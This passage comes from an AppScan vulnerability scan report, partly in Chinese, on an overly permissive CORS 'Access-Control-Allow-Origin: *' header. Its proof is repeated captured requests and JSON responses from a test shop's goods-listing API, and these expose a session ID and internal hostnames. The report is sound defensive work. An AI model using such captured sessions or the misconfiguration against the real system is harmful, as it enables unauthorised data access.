Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 192,
                  "results": [
                                   "opcode": "WERDHGF",
                                   "goodsname": "werdhgf",
"goodstype": "实
                                                        实物商品",
                                   "departmentid": null,
                                   "goodsunit": "gechi",
                                   "brandid": 4412,
                                   "factoryid": null,
                                   "prodarea": null,
                                   "inputmanid": 2,
                                   "bookindate": 1515668156000,
                                   "bookindateStr": null,
                                   "status": 1,
                                   "priceflag": null,
                                   "stupperlimit": null,
                                   "stlowerlimit": null,
                                   "barcode": "rewqrewq",
                                   "classcodeflag": null,
                                   "smallscaleflag": null,
                                   "goodsclassid": 2702,
                                   "lastupdateerid": null,
                                   "lastupdateername": null,
                                   "lastupdatedate": null,
                                   "specmodel": null,
                                   "goodsspec": "hh",
                                   "goodsmodel": "resadsa",
"classname": " 办公
                                                         办公耗材",
                                   "goodsid": 105190,
                                   "enterpriseid": 55,
                                   "enterprisecode": "55",
                                   "goodscode": "0200202",
                                   "taxinprice": null,
                                   "intax": null,
                                   "baseprice": 999.0000,
                                   "wsaleprice": 999.0000,
                                   "wdis": null,
                                   "o2osaleprice": 999.0000,
                                   "tmallsaleprice": null,
                                   "saleprice": 999.0000,
                                   "minprice": 999.0000,
                                   "outtax": null,
                                   "memo1": null,
                                   "memo2": null,
                                   "memo3": null,
                                   "memo4": null,
                                   "sendstatus": null,
                                   "warehouseid": null,
                                   "supplierid": null,
                                   "pricetypeid": null,
                                   "pricetypename": null,
                                   "goodstatus": null,
                                   "goodsclassname": null,
                                   "brandname": "dsfdsafsa",
                                   "wsalepricestarttime": null,
                                   "wsalepriceendtime": null,
                                   "goodssubname": null,
                                   "goodsproperty": null,
                                   "weight": null,
                                   "bulk": null,
```

```
"releasechannel": null,
         "goodsimgurl": null,
         "basegoodsimgurl": null,
         "dtlgoodsimgurl": null,
        "iscontorlseq": 0,
         "expirationdate": null,
         "origin": null,
        "storagetemperature": null,
         "goodsclassnameek": null,
        "appgoodsname": null,
         "sellingpointdescription": null,
         "distributiontype": 0,
         "distributionpreparationtime": 2,
         "distributionprocessingtime": 0,
         "adjustflag": 0,
        "approvaltypeid": 1,
        "goodslevelid": 3,
         "gsbmid": 3,
        "level": 4,
"gsbmname": "
        "gsbmname": " 资产部",
"approvaltypename": " 出库流程",
        "actdefid": null,
"classcode": null,
        "inputmanname": "
                                  资源商城测试01",
        "factoryname": null,
        "notaxprice": null,
         "phonecomments": null,
         "pccomments": null,
         "sonoffdate": null,
         "employeename": null
}
        "opcode": "CD",
        "goodsname": "
"goodstype": "
                               场地",
                               实物商品",
        "departmentid": null,
        "goodsunit": "
        "brandid": 4345,
         "factoryid": null,
        "prodarea": null,
         "inputmanid": 1,
        "bookindate": 1515661552000,
        "bookindateStr": null,
        "status": 1,
         "priceflag": null,
         "stupperlimit": null,
         "stlowerlimit": null,
         "barcode": "",
        "classcodeflag": null,
         "smallscaleflag": null,
        "goodsclassid": 2704,
        "lastupdateerid": null,
        "lastupdateername": null,
         "lastupdatedate": null,
        "specmodel": null,
        "goodsspec": "",
"goodsmodel": "",
        "classname": "
                               场地租用",
         "goodsid": 105186,
        "enterpriseid": 55,
        "enterprisecode": "55",
         "goodscode": "0375346",
        "taxinprice": null,
"intax": null,
        "baseprice": 100.0000,
         "wsaleprice": 100.0000,
        "wdis": null,
        "o2osaleprice": 100.0000,
        "tmallsaleprice": null,
         "saleprice": 100.0000,
         "minprice": 100.0000,
         "outtax": null,
        "memo1": null,
        "memo2": null,
         "memo3": null,
         "memo4": null,
         "sendstatus": null,
         "warehouseid": null,
```

```
"supplierid": null,
"pricetypeid": null,
"pricetypename": null,
"goodstatus": null,
"goodsclassname": null,
"brandname": " 象型",
"wsalepricestarttime": null,
"wsalepriceendtime": null,
"goodssu": null,
```

变体- | 2 / 10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsRestApi/goodsList?
draw=2&start=0&length=15&search%5Bvalue%5D=&search%5Breqex%5D=false&pageNum=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 192,
                  "results": [
                                    "opcode": "WERDHGF",
                                    "goodsname": "werdhgf",
"goodstype": "实
                                                          实物商品",
                                    "departmentid": null,
                                    "goodsunit": "gechi",
                                    "brandid": 4412,
                                    "factoryid": null,
                                    "prodarea": null,
                                    "inputmanid": 2,
                                    "bookindate": 1515668156000,
                                    "bookindateStr": null,
                                    "status": 1,
                                    "priceflag": null,
                                    "stupperlimit": null,
                                    "stlowerlimit": null,
                                    "barcode": "rewgrewg",
```

```
"classcodeflag": null,
"smallscaleflag": null,
"goodsclassid": 2702,
"lastupdateerid": null,
"lastupdateername": null,
"lastupdatedate": null,
"specmodel": null,
"goodsspec": "hh",
"goodsmodel": "resadsa",
"classname": "办公
                       办公耗材",
"goodsid": 105190,
"enterpriseid": 55,
"enterprisecode": "55",
"goodscode": "0200202",
"taxinprice": null,
"intax": null,
"baseprice": 999.0000,
"wsaleprice": 999.0000,
"wdis": null,
"o2osaleprice": 999.0000,
"tmallsaleprice": null,
"saleprice": 999.0000,
"minprice": 999.0000,
"outtax": null,
"memo1": null,
"memo2": null,
"memo3": null,
"memo4": null,
"sendstatus": null,
"warehouseid": null,
"supplierid": null,
"pricetypeid": null,
"pricetypename": null,
"goodstatus": null,
"goodsclassname": null,
"brandname": "dsfdsafsa",
"wsalepricestarttime": null,
"wsalepriceendtime": null,
"goodssubname": null,
"goodsproperty": null,
"weight": null,
"bulk": null,
"releasechannel": null,
"goodsimgurl": null,
"basegoodsimgurl": null,
"dtlgoodsimgurl": null,
"iscontorlseq": 0,
"expirationdate": null,
"origin": null,
"storagetemperature": null,
"goodsclassnameek": null,
"appgoodsname": null,
"sellingpointdescription": null,
"distributiontype": 0,
"distributionpreparationtime": 2,
"distributionprocessingtime": 0,
"adjustflag": 0,
"approvaltypeid": 1,
"goodslevelid": 3,
"gsbmid": 3,
"level": 4,
"gsbmname": "
                   资产部",
"出库流程",
"approvaltypename": "
"actdefid": null,
"classcode": null,
                          资源商城测试01",
"inputmanname": "
"factoryname": null,
"notaxprice": null,
"phonecomments": null,
"pccomments": null,
"sonoffdate": null,
"employeename": null
"opcode": "CD",
"goodsname": "
"goodstype": "
                       实物商品",
"departmentid": null,
```

```
"goodsunit": " 小时",
                                   "brandid": 4345,
                                  "factoryid": null,
                                   "prodarea": null,
                                   "inputmanid": 1,
                                  "bookindate": 1515661552000,
                                  "bookindateStr": null,
                                  "status": 1,
                                   "priceflag": null,
                                  "stupperlimit": null,
                                  "stlowerlimit": null,
                                  "barcode": "",
                                  "classcodeflag": null,
                                   "smallscaleflag": null,
                                   "goodsclassid": 2704,
                                  "lastupdateerid": null,
                                  "lastupdateername": null,
                                  "lastupdatedate": null,
                                  "specmodel": null,
                                   "goodsspec": "",
                                  "goodsmodel": "",
                                   "classname": "
                                                        场地租用",
                                   "goodsid": 105186,
                                  "enterpriseid": 55,
                                  "enterprisecode": "55",
                                  "goodscode": "0375346",
                                  "taxinprice": null,
                                  "intax": null,
                                  "baseprice": 100.0000,
"wsaleprice": 100.0000,
                                  "wdis": null,
                                  "o2osaleprice": 100.0000,
                                  "tmallsaleprice": null,
                                  "saleprice": 100.0000,
                                  "minprice": 100.0000,
                                   "outtax": null,
                                  "memo1": null,
                                  "memo2": null,
                                  "memo3": null,
                                  "memo4": null,
                                   "sendstatus": null,
                                  "warehouseid": null,
                                  "supplierid": null,
                                  "pricetypeid": null,
                                   "pricetypename": null,
                                   "goodstatus": null,
                                   "goodsclassname": null,
                                  "brandname": "
                                                       象翌".
                                  "wsalepricestarttime": null,
                                  "wsalepriceendtime": null,
                                  "goodssu
. . .
```

变体-|3/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/goodsList?
draw=3&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
```

```
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 ОК
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 192,
                  "results": [
                                   "opcode": "WERDHGF",
                                   "goodsname": "werdhgf",
                                   "goodstype": "
                                                        实物商品",
                                   "departmentid": null,
                                   "goodsunit": "gechi",
"brandid": 4412,
                                   "factoryid": null,
                                   "prodarea": null,
                                   "inputmanid": 2,
                                   "bookindate": 1515668156000,
                                   "bookindateStr": null,
                                   "status": 1,
                                   "priceflag": null,
                                   "stupperlimit": null,
                                   "stlowerlimit": null,
                                   "barcode": "rewqrewq",
                                   "classcodeflag": null,
                                   "smallscaleflag": null,
                                   "goodsclassid": 2702,
                                   "lastupdateerid": null,
                                   "lastupdateername": null,
                                   "lastupdatedate": null,
                                   "specmodel": null,
                                   "goodsspec": "hh",
"goodsmodel": "resadsa",
                                   "classname": "
                                                         办公耗材",
                                   "goodsid": 105190,
                                   "enterpriseid": 55,
"enterprisecode": "55",
                                   "goodscode": "0200202",
                                   "taxinprice": null,
                                   "intax": null,
                                   "baseprice": 999.0000,
                                   "wsaleprice": 999.0000,
                                   "wdis": null,
                                   "o2osaleprice": 999.0000,
                                   "tmallsaleprice": null,
                                   "saleprice": 999.0000,
                                   "minprice": 999.0000,
                                   "outtax": null,
                                   "memo1": null,
                                   "memo2": null,
                                   "memo3": null,
                                   "memo4": null,
                                   "sendstatus": null,
                                   "warehouseid": null,
                                   "supplierid": null,
                                   "pricetypeid": null,
                                   "pricetypename": null,
                                   "goodstatus": null,
                                   "goodsclassname": null,
                                   "brandname": "dsfdsafsa",
```

```
"wsalepricestarttime": null,
"wsalepriceendtime": null,
"goodssubname": null,
"goodsproperty": null,
"weight": null,
"bulk": null,
"releasechannel": null,
"goodsimgurl": null,
"basegoodsimgurl": null,
"dtlgoodsimgurl": null,
"iscontorlseq": 0,
"expirationdate": null,
"origin": null,
"storagetemperature": null,
"goodsclassnameek": null,
"appgoodsname": null,
"sellingpointdescription": null,
"distributiontype": 0,
"distributionpreparationtime": 2,
"distributionprocessingtime": 0,
"adjustflag": 0,
"approvaltypeid": 1,
"goodslevelid": 3,
"gsbmid": 3,
"level": 4,
"gsbmname": "
                 资产部",
e": "出库流程",
"approvaltypename": "
"actdefid": null,
"classcode": null,
"inputmanname": "
                         资源商城测试01",
"factoryname": null,
"notaxprice": null,
"phonecomments": null,
"pccomments": null,
"sonoffdate": null,
"employeename": null
"opcode": "CD",
"goodsname": "
"goodstype": "
                     场地".
                     实物商品",
"departmentid": null,
"goodsunit": "
                      小时",
"brandid": 4345,
"factoryid": null,
"prodarea": null,
"inputmanid": 1,
"bookindate": 1515661552000,
"bookindateStr": null,
"status": 1,
"priceflag": null,
"stupperlimit": null,
"stlowerlimit": null,
"barcode": "",
"classcodeflag": null,
"smallscaleflag": null,
"goodsclassid": 2704,
"lastupdateerid": null,
"lastupdateername": null,
"lastupdatedate": null,
"specmodel": null,
"goodsspec": "",
"goodsmodel": "",
"classname": "
                     场地租用",
"goodsid": 105186,
"enterpriseid": 55,
"enterprisecode": "55",
"goodscode": "0375346",
"taxinprice": null,
"intax": null,
"baseprice": 100.0000,
"wsaleprice": 100.0000,
"wdis": null,
"o2osaleprice": 100.0000,
"tmallsaleprice": null,
"saleprice": 100.0000,
"minprice": 100.0000,
"outtax": null,
```

```
"memo1": null,
"memo2": null,
"memo3": null,
"memo4": null,
"sendstatus": null,
"warehouseid": null,
"supplierid": null,
"pricetypeid": null,
"pricetypename": null,
"goodstatus": null,
"goodsclassname": null,
"brandname": "
                   象翌",
"wsalepricestarttime": null,
"wsalepriceendtime": null,
"goodssu
```

变体-|4/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsRestApi/goodsList?
draw=4&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                 "startIndex": 0,
                 "pageSize": 15,
                 "totalCount": 192,
                 "results": [
                                  "opcode": "WERDHGF",
                                 "goodsname": "werdhgf",
                                 "goodstype": "
                                                     实物商品",
                                 "departmentid": null,
                                 "goodsunit": "gechi",
                                 "brandid": 4412,
                                 "factoryid": null,
                                  "prodarea": null,
                                 "inputmanid": 2,
                                 "bookindate": 1515668156000,
```

```
"bookindateStr": null,
"status": 1,
"priceflag": null,
"stupperlimit": null,
"stlowerlimit": null,
"barcode": "rewqrewq",
"classcodeflag": null,
"smallscaleflag": null,
"goodsclassid": 2702,
"lastupdateerid": null,
"lastupdateername": null,
"lastupdatedate": null,
"specmodel": null,
"goodsspec": "hh",
"goodsmodel": "resadsa",
"classname": "
                     办公耗材",
"goodsid": 105190,
"enterpriseid": 55,
"enterprisecode": "55",
"goodscode": "0200202",
"taxinprice": null,
"intax": null,
"baseprice": 999.0000,
"wsaleprice": 999.0000,
"wdis": null,
"o2osaleprice": 999.0000,
"tmallsaleprice": null,
"saleprice": 999.0000,
"minprice": 999.0000,
"outtax": null,
"memo1": null,
"memo2": null,
"memo3": null,
"memo4": null,
"sendstatus": null,
"warehouseid": null,
"supplierid": null,
"pricetypeid": null,
"pricetypename": null,
"goodstatus": null,
"goodsclassname": null,
"brandname": "dsfdsafsa",
"wsalepricestarttime": null,
"wsalepriceendtime": null,
"goodssubname": null,
"goodsproperty": null,
"weight": null,
"bulk": null,
"releasechannel": null,
"goodsimgurl": null,
"basegoodsimgurl": null,
"dtlgoodsimgurl": null,
"iscontorlseq": 0,
"expirationdate": null,
"origin": null,
"storagetemperature": null,
"goodsclassnameek": null,
"appgoodsname": null,
"sellingpointdescription": null,
"distributiontype": 0,
"distributionpreparationtime": 2,
"distributionprocessingtime": 0,
"adjustflag": 0,
"approvaltypeid": 1,
"goodslevelid": 3,
"gsbmid": 3,
"level": 4,
"gsbmname": "
                  资产部",
":" 出库流程",
"approvaltypename": "
"actdefid": null,
"classcode": null,
"inputmanname": "
                         资源商城测试01",
"factoryname": null,
"notaxprice": null,
"phonecomments": null,
"pccomments": null,
"sonoffdate": null,
"employeename": null
```

```
"opcode": "CD",
                                   "goodsname": "
                                                          场地",
                                   "goodstype": "
                                                          实物商品",
                                   "departmentid": null,
                                   "goodsunit": "
                                                          小时",
                                   "brandid": 4345,
                                   "factoryid": null,
                                   "prodarea": null,
                                   "inputmanid": 1,
                                   "bookindate": 1515661552000,
                                   "bookindateStr": null,
                                   "status": 1,
                                   "priceflag": null,
                                   "stupperlimit": null,
                                   "stlowerlimit": null,
                                   "barcode": "",
                                   "classcodeflag": null,
                                   "smallscaleflag": null,
                                   "goodsclassid": 2704,
                                   "lastupdateerid": null,
                                   "lastupdateername": null,
                                   "lastupdatedate": null,
                                   "specmodel": null,
                                   "goodsspec": "",
                                   "goodsmodel": "",
                                   "classname": "
                                                          场地租用",
                                   "goodsid": 105186,
                                   "enterpriseid": 55,
                                   "enterprisecode": "55",
                                   "goodscode": "0375346",
                                   "taxinprice": null,
                                   "intax": null,
                                   "baseprice": 100.0000,
                                   "wsaleprice": 100.0000,
                                   "wdis": null,
                                   "o2osaleprice": 100.0000,
                                   "tmallsaleprice": null,
                                   "saleprice": 100.0000,
"minprice": 100.0000,
                                   "outtax": null,
                                   "memo1": null,
                                   "memo2": null,
                                   "memo3": null,
                                   "memo4": null,
                                   "sendstatus": null,
"warehouseid": null,
                                   "supplierid": null,
                                   "pricetypeid": null,
                                   "pricetypename": null,
                                   "goodstatus": null,
                                   "goodsclassname": null,
                                   "brandname": "
                                                         象翌",
                                   "wsalepricestarttime": null,
                                   "wsalepriceendtime": null,
                                   "goodssu
. . .
```

变体- | 5 / 10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/goodsList?
draw=5&start=0&length=15&search%5Bregex%5D=false&pageNum=1&goodsname=&goodscode=ewfrew&approvalty
```

```
peid=&gsbmid=&goodslevelid=&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:12:05 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                 "startIndex": 0,
                 "pageSize": 15,
                 "totalCount": 0,
                 "results": [
                 "showPageNumbers": [
                 "pages": [
                 "pageNo": 1,
                 "pageCount": 0,
                 "params": null,
                 "totalPageCount": 0,
                 "nextIndex": 15,
                 "page": 1,
                 "previousIndex": 0
 "returnCode": 1,
 "msg": null,
 "html": null
```

变体-|6/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/goodsList?
draw=6&start=0&length=15&search\hat{5}Bregex\hat{5}D=false&pageNum=1&goodsname=&goodscode=&approvaltypeid=0
&gsbmid=&goodslevelid=3&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
```

```
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:12:05 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                 "startIndex": 0,
                 "pageSize": 15,
                 "totalCount": 0,
                 "results": [
                 "showPageNumbers": [
                 "pages": [
                 "pageNo": 1,
                 "pageCount": 0,
                 "params": null,
                 "totalPageCount": 0,
                 "nextIndex": 15,
                 "page": 1,
                 "previousIndex": 0
 "returnCode": 1,
 "msg": null,
 "html": null
```

变体-|7/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/goodsList?
draw=7&start=0&length=15&search%5Bregex%5D=false&pageNum=1&goodsname=&goodscode=&approvaltypeid=&
gsbmid=&goodslevelid=&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
```

```
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 192,
                  "results": [
                                    "opcode": "WERDHGF",
                                    "goodsname": "werdhgf",
"goodstype": "实
                                                         实物商品",
                                    "departmentid": null,
                                    "goodsunit": "gechi",
                                    "brandid": 4412,
                                    "factoryid": null,
                                    "prodarea": null,
                                    "inputmanid": 2,
                                    "bookindate": 1515668156000,
                                    "bookindateStr": null,
                                    "status": 1,
                                    "priceflag": null,
                                    "stupperlimit": null,
                                    "stlowerlimit": null,
                                    "barcode": "rewqrewq",
                                    "classcodeflag": null,
                                    "smallscaleflag": null,
                                    "goodsclassid": 2702,
                                    "lastupdateerid": null,
                                    "lastupdateername": null,
                                    "lastupdatedate": null,
                                    "specmodel": null,
                                    "goodsspec": "hh",
"goodsmodel": "resadsa",
"classname": " 办公
                                                           办公耗材",
                                    "goodsid": 105190,
                                    "enterpriseid": 55,
                                    "enterprisecode": "55",
                                    "goodscode": "0200202",
                                    "taxinprice": null,
                                    "intax": null,
                                    "baseprice": 999.0000,
                                    "wsaleprice": 999.0000,
                                    "wdis": null,
                                    "o2osaleprice": 999.0000,
                                    "tmallsaleprice": null,
                                    "saleprice": 999.0000,
"minprice": 999.0000,
                                    "outtax": null,
                                    "memo1": null,
                                    "memo2": null,
                                    "memo3": null,
                                    "memo4": null,
                                    "sendstatus": null,
                                    "warehouseid": null,
                                    "supplierid": null,
"pricetypeid": null,
                                    "pricetypename": null,
                                    "goodstatus": null,
                                    "goodsclassname": null,
                                    "brandname": "dsfdsafsa",
                                    "wsalepricestarttime": null,
                                    "wsalepriceendtime": null,
                                    "goodssubname": null,
                                    "goodsproperty": null,
                                    "weight": null,
                                    "bulk": null,
                                    "releasechannel": null,
                                    "goodsimgurl": null,
                                    "basegoodsimgurl": null,
                                    "dtlgoodsimgurl": null,
```

```
"iscontorlseq": 0,
"expirationdate": null,
"origin": null,
"storagetemperature": null,
"goodsclassnameek": null,
"appgoodsname": null,
"sellingpointdescription": null,
"distributiontype": 0,
"distributionpreparationtime": 2,
"distributionprocessingtime": 0,
"adjustflag": 0,
"approvaltypeid": 1,
"goodslevelid": 3,
"qsbmid": 3,
"level": 4,
"gsbmname": "
                 资产部",
"approvaltypename": "
                            出库流程",
"actdefid": null,
"classcode": null,
"inputmanname": "
                         资源商城测试01",
"factoryname": null,
"notaxprice": null,
"phonecomments": null,
"pccomments": null,
"sonoffdate": null,
"employeename": null
"opcode": "CD",
"goodsname": "
                      场地",
"goodstype": "
                     实物商品",
"departmentid": null,
"goodsunit": "
                      小时",
"brandid": 4345,
"factoryid": null,
"prodarea": null,
"inputmanid": 1,
"bookindate": 1515661552000,
"bookindateStr": null,
"status": 1,
"priceflag": null,
"stupperlimit": null,
"stlowerlimit": null,
"barcode": "",
"classcodeflag": null,
"smallscaleflag": null,
"goodsclassid": 2704,
"lastupdateerid": null,
"lastupdateername": null,
"lastupdatedate": null,
"specmodel": null,
"goodsspec": "",
"goodsmodel": "",
"classname": "
                     场地租用",
"goodsid": 105186,
"enterpriseid": 55,
"enterprisecode": "55",
"goodscode": "0375346",
"taxinprice": null,
"intax": null,
"baseprice": 100.0000,
"wsaleprice": 100.0000,
"wdis": null,
"o2osaleprice": 100.0000,
"tmallsaleprice": null,
"saleprice": 100.0000,
"minprice": 100.0000,
"outtax": null,
"memo1": null,
"memo2": null,
"memo3": null,
"memo4": null,
"sendstatus": null,
"warehouseid": null,
"supplierid": null,
"pricetypeid": null,
"pricetypename": null,
"goodstatus": null,
```

变体- | 8 / 10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsRestApi/goodsList?
\label{lem:draw-sastart} draw=8 \& start=0 \& length=15 \& search \%5 B value \%5 D=ewqrewq \& search \%5 B regex \%5 D=false \& pageNum=1 \& search Value=1 A search V
ewqrewq HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
 sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
 Connection: keep-alive
 Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:12:05 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                                              "startIndex": 0,
                                             "pageSize": 15,
                                              "totalCount": 0,
                                              "results": [
                                              "showPageNumbers": [
                                              "pages": [
                                              "pageNo": 1,
                                              "pageCount": 0,
                                              "params": null,
                                              "totalPageCount": 0,
                                              "nextIndex": 15,
                                              "page": 1,
                                              "previousIndex": 0
    "returnCode": 1,
   "msg": null,
   "html": null
```

变体- | 9 / 10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/goodsList?
\label{lem:draw} draw=9 \& start=0 \& length=15 \& search \%5 B value \%5 D=ewqrewq \& search \%5 B regex \%5 D=false \& pageNum=1 \& search Value=1 A search Value=1 A
ewqrewq HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, ^{\star/\star};~\text{q=0.01}
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:12:05 GMT
Content-Type: application/json
Transfer-Encoding: chunked
  "data": [
